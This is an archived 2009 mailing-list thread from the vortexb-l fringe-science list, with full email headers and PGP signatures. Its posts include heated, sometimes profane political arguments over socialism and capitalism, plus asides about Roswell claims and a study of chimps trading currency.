Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofCs0ACgkQXo3EtEYbt3FoLQCghypt8sJyUO3iG52sOTudqY9R 9PEAoJc16qIkwevmSCIiQHMjHmS/Sf5g =jCqO -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 16:26:25 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SNQMt5016001; Thu, 28 May 2009 16:26:22 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SNQLV4015979; Thu, 28 May 2009 16:26:21 -0700 Resent-Date: Thu, 28 May 2009 16:26:21 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 16:26:07 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090528232607.GH28477@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Sierra Vista, USS Mason, Islamic party, Rossiya, secret police User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4259 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Roswell Debris Confirmed Status: O X-Status: X-Keywords: X-UID: 501 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > http://ufocon.blogspot.com/2009/05/roswell-debris-confirmed-as.html > > ROSWELL DEBRIS CONFIRMED AS EXTRATERRESTRIAL: Lab Located, Scientists I wonder what kind of politikal system E.T. has. Beam me up, Scotty! (There's no intelligent... etc.) - -- grok NOT Spock. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofHY8ACgkQXo3EtEYbt3Gc+ACg2pJ78QaMC8SVSkmfFWpQ4C+O 8RIAn1xisoaCEFwXfLr/oG2RiJD7ONan =nwDA -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 16:44:40 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SNicqW013175; Thu, 28 May 2009 16:44:38 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SNiY6A013145; Thu, 28 May 2009 16:44:34 -0700 Resent-Date: Thu, 28 May 2009 16:44:34 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 16:44:25 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090528234425.GJ28477@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Sierra Vista, USS Mason, Islamic party, Rossiya, secret police User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4260 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Roswell Debris Confirmed Status: O X-Status: X-Keywords: X-UID: 502 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > Of equal importance were the threats Frankie and her family received > afterward from military police warning her never to divulge to anyone > what she had seen and experienced - talk and they would be picking her > bones out in the desert. The threats affected her emotionally for > decades. You just gotta love Amurkun Democracy... Or else. (Oh, I forgot: it's an issue of *National Security*. That not only explains it -- it _excuses_ it!) - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofIdkACgkQXo3EtEYbt3H1IgCgmpyUU6UhEQQ6G78DFR3GFNuR 9h8AoNwnqFHX4sps0kbm91gynlWazMto =X0u/ -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 18:08:34 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4T18V32002461; Thu, 28 May 2009 18:08:31 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4T18VxD002450; Thu, 28 May 2009 18:08:31 -0700 Resent-Date: Thu, 28 May 2009 18:08:31 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 18:08:24 -0700 From: grok To: vortexb-l@eskimo.com Cc: Chris Zell Message-ID: <20090529010824.GM28477@shell.resist.ca> Reply-To: grok@resist.ca References: <648902.540.qm@web59605.mail.ac4.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <648902.540.qm@web59605.mail.ac4.yahoo.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Sierra Vista, USS Mason, Islamic party, Rossiya, secret police User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4261 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Tech Saviors: Can We Bear The Burden? Status: O X-Status: X-Keywords: X-UID: 503 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 More politix on vortex-l... just can't get away from it, can youse..? This below is the typical lament of despair of the petit-bourgeois individual. However in fact, the solution to the World's problems is a very, very simple one: we must move, en masse, towards a socialist organization of society, ASAP. The real issue, however, is the continuing and growing existence of "armed bodies of men" -- which the bourgeoisie have arrayed against all the rest of us to forestall that eventuality... - -- grok. As the smoke cleared, Chris Zell mounted the barricade and roared out: > I have never felt such an overwhelming perception that our world economy is fragile, lacking any depth of stamina and operating on the thinnest of a margin for error. >   > We have now purchased a brief 'timeout' with wild debts that the next generation will never be able to repay.  As it is, we may face an inflation far beyond that which followed the Vietnam War.  More than that, our present troubles may have been quietly triggered by a demographic shift in Western nations that cannot be changed within the lifetime of many who are reading these words.  Exactly how do you have a growing GDP with a declining population, as in Europe or Japan? How do you intend to pay 20 year Sovereign debt when the taxpayers were never born? >   > We desparately need a dramatic technological catalyst to inspire the 21st century world economy  - or the future will be dominated by weak, miserable governments struggling to redistribute whatever wealth is left. Expensive hybrid cars to be purchased by overextended consumers, miscalculated energy yields from windmills, solar cells that keep promising parity with fossil generation, and waiting for hot fusion like the Second Coming will not save us.  We need something much more profound - and not marginal. >   > Will the answers come from status quo science?  Resistant academia?  The same people who cured every disease centered as the concern of a public charity over the past few decades?  Who resisted cold fusion with religious fervor?  >   > My point, in summary, is this:  The whole world may now depend on fringe thinkers such as those on this Vortex site or similar boards on the internet.  The economy's deep emphasis on financial speculation in recent years (such as mortgages and credit cards granted to people who can't afford them) is a disturbing sign that profitability can't be generally achieved in businesses that already are too 'lean'.  A new energy catalyst is vital. >   > We may be the future Tech Saviors of the world.  Finding that 'free energy' Holy Grail may be left as our life's burden - by default - and the clock is running out....... - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofNYgACgkQXo3EtEYbt3F0YgCg8hp7CElpFp7JCmp5Z4j56yAP nWcAn0Pr62eLN18MRjGdFZf3GQ+QE7Nz =DJAu -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 18:41:32 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4T1fTrZ003582; Thu, 28 May 2009 18:41:29 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4T1fSPt003561; Thu, 28 May 2009 18:41:28 -0700 Resent-Date: Thu, 28 May 2009 18:41:27 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 18:41:12 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090529014112.GA21796@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Sierra Vista, USS Mason, Islamic party, Rossiya, secret police User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4262 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Mad Scientists torture chimps in diabolical plot to rule the World!! Status: O X-Status: X-Keywords: X-UID: 504 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 It's all true!! Well... sorta. In any case -- it's not just some vorticians who have a lot of nerve. Torturing chimps... Assuming the delusional. - -- grok. * No enforcement, no trade -- not for chimps: Scientists have managed to teach chimps to trade a primitive "currency." But the creatures never quite ran with the idea. NO ENFORCEMENT, NO TRADE -- NOT FOR CHIMPS: - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofPTgACgkQXo3EtEYbt3FqjQCdHGkab1cKYOaXxvZU2UwUkPQv zRsAoJ3vqdd8EeBjpmdTwAoLxMj0DaqO =2S/V -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 19:52:21 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4T2qIsu019588; Thu, 28 May 2009 19:52:18 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4T2qHuN019573; Thu, 28 May 2009 19:52:17 -0700 Resent-Date: Thu, 28 May 2009 19:52:17 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <2b20412ad94f.2ad94f2b2041@ncf.ca> Date: Thu, 28 May 2009 22:52:12 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Mad Scientists torture chimps in diabolical plot to rule the World!! X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4263 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 505 I presume the chimps were getting regular meals and not surviving on the "treats" alone. If so, would this chimp society evolve into _Planet of the Capitalist Ape_ if the experimenters went further and forced the chimps to rely on trade for their daily sustenance? Harry ----- Original Message ----- From: grok Date: Thursday, May 28, 2009 9:41 pm Subject: [VoB]:Mad Scientists torture chimps in diabolical plot to rule the World!! > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > It's all true!! > Well... sorta. > > In any case -- it's not just some vorticians who have a lot of nerve. > Torturing chimps... Assuming the delusional. > > > - -- grok. > > > > > * No enforcement, no trade -- not for chimps: > Scientists have managed to teach chimps to trade a > primitive "currency." But the creatures never quite > ran with the idea. > > NO ENFORCEMENT, NO TRADE -- NOT FOR CHIMPS: > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkofPTgACgkQXo3EtEYbt3FqjQCdHGkab1cKYOaXxvZU2UwUkPQv > zRsAoJ3vqdd8EeBjpmdTwAoLxMj0DaqO > =2S/V > -----END PGP SIGNATURE----- > > From vortexb-l-request@eskimo.com Thu May 28 19:54:20 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4T2sDXl020112; Thu, 28 May 2009 19:54:13 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4T2sDFC020103; Thu, 28 May 2009 19:54:13 -0700 Resent-Date: Thu, 28 May 2009 19:54:13 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 19:54:07 -0700 From: grok To: vortexb-l@eskimo.com Cc: Terry Blanton Message-ID: <20090529025406.GC21796@shell.resist.ca> Reply-To: grok@resist.ca References: <648902.540.qm@web59605.mail.ac4.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: mortar, GIT, step-throttling, floss, FSB User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4264 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Tech Saviors: Can We Bear The Burden? Status: O X-Status: X-Keywords: X-UID: 506 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > I'm not sure this does not belong on VortB; but, today the US sold > $100B in T-Bills and had to pay 3.7%. This will is a preliminary > indication. > > Re-Fi now if you can. > > Terry We're not in Kansas anymore... so they're gonna GIT you -- and your little dog too! - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofTk4ACgkQXo3EtEYbt3HpQQCeLUFlcAokBjp3EKgMnnbxl5yB bW8AoPVrgGXKdMRM/RdZXr2GBsiUTIra =89ay -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 20:11:52 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4T3BnT2002352; Thu, 28 May 2009 20:11:50 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4T3BnrB002344; Thu, 28 May 2009 20:11:49 -0700 Resent-Date: Thu, 28 May 2009 20:11:49 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 20:11:42 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Message-ID: <20090529031142.GD21796@shell.resist.ca> Reply-To: grok@resist.ca References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: mortar, GIT, step-throttling, floss, FSB User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <71ejG.A.ik.1J1HKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4265 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 507 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >I mean that your government is a criminal, gangster enterprise. > > --- > As usual, you're not making any sense. The hell I'm not. You're just dissembling here. Not unusual, apparently. > In this case you stated that: "The Law is an ass, isn't it?" > > And then the meaning you assigned to the statement was that the US > government is a criminal, gangster enterprise. > > Search as I might, I could find no definition of "ass" which equates it > to a criminal, gangster enterprise. It is for you to connect the dots -- or not. And/or to play lawyers' games. > Moreover, even if your definition was accurate, the generality of: "The > Law is an ass" would apply to _all_ governments and would brand them all > as criminal, gangster enterprises. That would definitely be a corollary, yes. But a rather ham-fisted and imprecise one. Like that matters with many of youse scientist-like types here, apparently (again). > You really should think these things out instead of using the scattergun > approach and just barking out whatever comes to mind. That is, if you > want to hang on to the modicum of credibility you have left. > > JF It's really, really important for you to believe that, isn't it John-Boy..? - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofUm4ACgkQXo3EtEYbt3HdNwCeOfNuoEV2blxhI9uFLXamDnal mrcAoOz2nPBpFfbIqVmQ4H33O36M0xIQ =31mz -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 20:38:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4T3cKsh001349; Thu, 28 May 2009 20:38:20 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4T3cGxo001330; Thu, 28 May 2009 20:38:16 -0700 Resent-Date: Thu, 28 May 2009 20:38:16 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 20:38:08 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: kritikal kritik - Formally Re: Mylow Outted Message-ID: <20090529033807.GE21796@shell.resist.ca> Reply-To: grok@resist.ca References: <20090525223502.GE5417@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: mortar, GIT, step-throttling, floss, FSB User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4266 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 508 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >You're not really learning here (because, of course, you feel that you don't HAVE > >to). > > --- > From you, what's to learn? > > Hatred, trickery, deception? > > Sounds to me like you want to be a politician but haven't quite figured > out how to go about it. I don't really value your 'insights' you know, John-Boy. > >My main point here (again) is that YOU people chose to escalate this, past my > >simple statements of disagreement with what is assumed about Life by apparently most > >people on vortex-l. > > --- > The problem with the truth of that statement is that originally, you > made disparaging remarks on vortex-l (which are considered to be in bad > taste on vortex-l) and, when you were apprised of that fact, recklessly > continued your propaganda campaign until you were shut down, and > properly so in my view, by Mr. Beaty. I think the facts will speak for themselves. You, however, are not in possession of those. Nor a few other things, apparently. > Interestingly enough, Mr. Beaty apprised you of the fact that vortexb-l > was available, at no cost to you, for your ranting pleasure and, it > seems, you've been taking advantage of that capitalistic outlet for free > speech ever since. I've already given my opinion of this 'generosity'. But the point indeed is true that this more-or-less waste of time is not about fyzix or vortices. > >I went along with the escalation, of course, because I have no > >vested interest in maintaining any politikal status quo in the U.S. or elsewhere. > > --- > You're a liar. Fuck you too. > You didn't go along with, you fueled the escalation with the intention > of being considered a political savant. I defend a politikal position that people get KILLED for, asshole. In your supposed free country and elsewhere. > >The real point is: most of you are still denying the validity of what I say, let > >alone how I go about saying it. > > --- > I could be wrong but, most of us, I think, know why what you're saying > is wrong and nearly all of us fault your delivery. Fact is, most of you are clearly clueless about not only politix, but about the extreme seriousness of the situation we are all in -- most bizarre, considering the nature of this august company. Intelligence -- and a bourgeois education and AFAIC life-long complacent lifestyle -- is no substitute for knowledge, either; and they might possibly admit that. But not to me, certainly. Too much is at stake here. As for my delivery: I learned long ago about 'middle-class' hypocrisy -- and the marginal utility of approaching it with open Reason. So I simply state a case -- and to Hell with your typical, nasty, deluded response. I simply return the favor, hypocrite. I don't expect 'converts'. Not today, anyway. > >And so again: this is really very much all about the > >widespread denial in U.S., and generally in petit-bourgeois society, of the serious > >- -- and AFAIC terminal -- nature of the crisis now descending upon capitalist class > >society. Just because you people can still export your problems onto other peoples' > >heads for now, doesn't obviate that analysis one little bit. > > --- > Nonsense. > > The crisis descending on _all_ societies is the availability of arable > resources VS population. No, it is the crisis of capitalism. Period. (and quite possibly the terminal one) Your paid liars just tell you that -- and you believe them, you sucker, you. > The US exports, for free, and with no strings attached, A fucking bald-faced lie THERE. > millions of tons > of food, annually, to impoverished people but, unfortunately, the food > often falls into the hands of those would destroy the US and thus > destroy the source of food which allows them (as opposed those who they > have condemned to death by starvation) to survive. > > Idiocy which even you, I contend, would agree with. All the idiocy here is in the above 2 paragraphs, from the author. What you don't know about your government would clearly fill the Library of Congress. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofWJ8ACgkQXo3EtEYbt3FsawCggdPwYO4Io9OJS/ezx98v0xmF ua8AoKd8VJaBVpshVMoyehrGaWzo7WGY =lPFj -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 21:04:15 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4T447qp005878; Thu, 28 May 2009 21:04:13 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4T443wv005853; Thu, 28 May 2009 21:04:03 -0700 Resent-Date: Thu, 28 May 2009 21:04:03 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 21:03:55 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Mad Scientists torture chimps in diabolical plot to rule the World!! Message-ID: <20090529040355.GF21796@shell.resist.ca> Reply-To: grok@resist.ca References: <2b20412ad94f.2ad94f2b2041@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <2b20412ad94f.2ad94f2b2041@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: mortar, GIT, step-throttling, floss, FSB User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <-4XmGC.A.XbB.y61HKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4267 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 509 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > > I presume the chimps were getting regular meals and not surviving on the > "treats" > alone. You see how the Welfare State distorts natural social behavior..?? > If so, would this chimp society evolve into _Planet of the Capitalist > Ape_ if the experimenters went further and forced the chimps to rely on > trade for their daily sustenance? > > > Harry I LOVED those films!! Even the last one. Charlton Heston is my hero. So is Roddy McDowall. ;P - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkofXqsACgkQXo3EtEYbt3GcuACgyDM8jhoes1SzgDQiBVyO1xnM je8AnjKuNE0xw06GPED8uoKdrvK0pils =IjFA -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 29 07:12:09 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4TEC5Pu014169; Fri, 29 May 2009 07:12:05 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4TEC0WP014114; Fri, 29 May 2009 07:12:00 -0700 Resent-Date: Fri, 29 May 2009 07:12:00 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> Subject: RE: [VoB]:freedom and/or equality Date: Fri, 29 May 2009 10:12:01 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 In-Reply-To: Thread-Index: Acnf1zUuTxsoxmqrRhyz8GRZxb2opwAetE+Q Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4268 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 510 When you have equality of opportunity, some will act on the opportunity = and some will not. The industrious will prosper more than the lazy. Some = on this forum will say that the resulting disparity in wealth is unfair, = and that the wealth of the industrious individuals must be taken and given = to those who have less. This process is a move toward equalizing outcome, = and is embodied by the graduated income tax system, where achievers are liberated of their achievement at an ever higher percentage based on = their success.=20 Some of the needy truly need help, but many are merely milking the = system. Where is freedom if hard working people are looted to give free rides to slackers. We hear the Marxist axiom "From him according to his ability = to him according to his need." How much can you bleed the workers with = taxes before they revolt. The US worker is not unhappy about the size of his paycheck as much as he is unhappy about how little of it he is allowed = to keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! If we are truly free, some people will outperform others. If we are = forced to be equal (equal pay for unequal effort), nobody gets ahead, we all = give up trying. The result is not sharing the wealth, but equally sharing = the misery. In a planned economy, who gets to do the planning? Who does all the = work? It has always been and always will be the case that the quality of life = of the planners will be far better than the life of the planee. There will = be no equality between these two groups. Central planning means micro managing, which is inefficient, error prone, and ultimately punishes achievers. Jeff.=20 